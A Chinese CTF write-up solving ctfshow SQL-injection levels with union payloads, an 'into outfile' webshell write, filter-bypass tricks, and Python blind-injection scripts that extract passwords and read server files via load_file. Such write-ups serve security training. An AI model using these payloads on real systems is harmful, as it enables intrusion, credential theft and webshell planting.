前言
下面几道无过滤的题都可以写入shell 然后蚁剑连上后从数据库里面找,就统一写下做法,后面不在具体复述。
具体做法如下
id=0' union select 1,"" into outfile "/var/www/html/1.php%23"
有的是查询的三项所以payload是
id=0' union select 1,2,"" into outfile "/var/www/html/1.php%23"
接着蚁剑连接后访问数据库
查询语句可以看出来是单引号注入,猜测flag是flag用户的密码
直接万能密码就可以了
payload:1'||1%23
正常执行万能密码发现flag不在这个表中
按正常操作使用联合查询
id=1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()%23
得到两个表 ctfshow_user,ctfshow_user2
我们试试第二张表(这几道题都是flag为flag用户的密码)
payload:id=1' union select password,2,3 from ctfshow_user2%23
发现了一个bug
这个题正常让我们访问的网站是
/api/v3.php
但是我们访问/api然后传id可以不受过滤的限制(其实用的是171的源码)
payload:i/api/?d=0' union select 1,password,3 from ctfshow_user3 %23
当然这个题的目的是想让我们利用编码绕过
我这想到了base64和16进制
payload1:api/v3.php?id=0' union select 1,hex(password),3 from ctfshow_user3 %23
payload2:api/v3.php?id=0' union select 1,to_base64(password),3 from ctfshow_user3 %23
或者我们也可以截断或者逆向输出
payload3:id=0' union select reverse(password),2,3 from ctfshow_user3%23
payload4:id=0' union select substr(password,2),2,3 from ctfshow_user3%23
在输出的结果中过滤了flag和数字,可以把输出结果中的数字进行替换
写了个比较烂的脚本(当然也可以用盲注,但是还是希望多试试其他方法,就当练脚本了)
利用的是mysql中的replace函数
#author:yu22x
import urllib
import requests
url="http://52286033-66c5-4d63-8436-d7541f2f005a.chall.ctf.show/api/v4.php?id=0' union select 'a',"
a1=[0,1,2,3,4,5,6,7,8,9]
a2=['!','@','-','$','_','^','=','*','(',')']
s="password"
for i in range(0,10):
s="replace("+s+",{0},'{1}')".format(a1[i],a2[i])
u=url+'substr('+s+',5)'+"from ctfshow_user4 where username='flag'%23"
r=requests.get(u)
s2=""
for j in r.text:
if j in a2:
s2+=str(a1[a2.index(j)])
else:
s2+=j
print(s2)
过滤了ascii为0-127的字符,基本用替换是行不通的,想了一顿没发现啥好方法,只能用保底的盲注了
#author:yu22x
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"{-}"
url = 'http://2c621323-6800-438f-9867-9110cce65972.chall.ctf.show/api/v5.php?id='
flag = ''
for i in range(1,50):
print(i)
for j in str:
payload = "0'or if(substr(password,{},1)='{}',sleep(1),0)%23".format(i,j)
#print(payload)
stime = time.time()
r = requests.get(url+payload)
etime = time.time()
if etime-stime >=1:
flag +=j
print(flag)
break
前言
176-179用万能密码可以通杀,但笔者还是写一下其他的方法供新手学习。
题目其实过滤了 select(不是替换成的空,应该是替换的其他的,否则是可以双写绕过的),但是只是过滤了小写的,所以使用大写可以绕过。
payload:id=0' union SELECT password,2,3 from ctfshow_user%23
题目过滤了空格,可以替换的方法有很多
payload1:id=0'/**/union/**/SELECT/**/password,2,3/**/from/**/ctfshow_user%23
payload2:id=0'union/**/SELECT(password),2,(3)from(ctfshow_user)%23
有点画蛇添足
再上一个题的基础上增加了/**/
的过滤
除了用/**/和括号代替外,我们还可以使用如下方法绕过空格过滤
回车(%0a)
`(tab键上面的按钮)(%09)
tab
但是基于题目本身,发现只能使用%0a,%09(tab键)
payload1:id=0'%0aunion%0aSELECT%0apassword,2,3%0afrom%0actfshow_user%23
payload2:id=0'%09union%09SELECT%09password,2,3%09from%0actfshow_user%23
在上一题的基础上又把%0a %09过滤了,没有办法只能用万能密码了
payload:1'||1%23
过滤了注释符#
和--
当然我们只需要在原来的一句话的基础上修改下即可。
可能会有人想到这样 id=0'||'1
这样其实是有问题的,因为他原sql语句中有limit限制,我们只能看到返回结果中的第一行
。
这样的话,我们只需要让他显示flag用户的信息就可以了
payload1:id=0'||username='flag
当然我们也可以利用password字段查询
payload2:id=0'||(password)regexp'flag
过滤了我们刚才用的flag
那我们直接用正则就可以啦
payload1:id=0'||(username)regexp'f
payload2:id=0'||(password)regexp'f
如果知道表名的话就还好做些,但是题目好像没有什么提示,那就从前面做的题里面猜吧 ctfshow_user,有回显果然可以。
select count(pass) from ctfshow_user where xxx=xxx就可以了,如果有回显就说明等式成立。
空格过滤了用括号代替,等号过滤了可以用like或者regexp
#author:yu22x
import requests
import string
url="http://22b6cc4f-8077-4192-b754-279efad6ea86.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
flag=''
for i in range(1,45):
print(i)
for j in s:
data={
'tableName':f'(ctfshow_user)where(pass)regexp("^ctfshow{flag+j}")'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break
过滤了where可以使用having,过滤了引号可以使用16进制。
具体where和having用法的区别可参考https://blog.csdn.net/yexudengzhidao/article/details/54924471
#author:yu22x
import requests
import string
url="http://87d32c88-6000-4c76-bf95-b58baed44631.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
flag=''
for i in range(1,45):
print(i)
for j in s:
d = asc2hex(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp(0x{d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break
过滤了0-9,可以使用true拼接出数字,在使用char函数转换成字符,最后使用concat进行拼接。
比如想获取字符c,c的ascii为99
'c'=char(concat(true+true+true+true+true+true+true+true+true,true+true+true+true+true+true+true+true+true));
当然也可以复杂一点
c=char(ture+ture+ture......)
(99个true)
简单写个转换的脚本
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
#author:yu22x
import requests
import string
url="http://955c4204-b9de-433c-931d-5f7a0d9f0c51.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
ffifdyop
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
md5('ffifdyop',true)= 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
会发现直接闭合掉了并且存在or,所以可以直接登录成功。
想要拿flag需要输入的密码经过intval函数后等于查询出的密码。
注意这个地方用的两个等于号。
所以只要真正的密码是字母我们就可以通过输入密码为0来绕过
payload
username=1||1
password=0
题目说了flag在api/index.php中,所以直接盲注读文件就好了。
#author:yu22x
import requests
import string
url="http://d2577b14-e91d-4f5e-b23a-73ff43862cec.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
print(i)
for j in range(32,128):
#print(chr(j))
data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
flag+=chr(j)
print(flag)
break
#author:yu22x
import requests
import string
url="http://eb1ea450-7ad8-4a93-a682-4cdb5cf1adff.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):
#跑库名
# data={
# 'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑表名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑列名
# data={
# 'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password':'1'
# }
#跑数据
data={
'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
'password':'1'
}
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break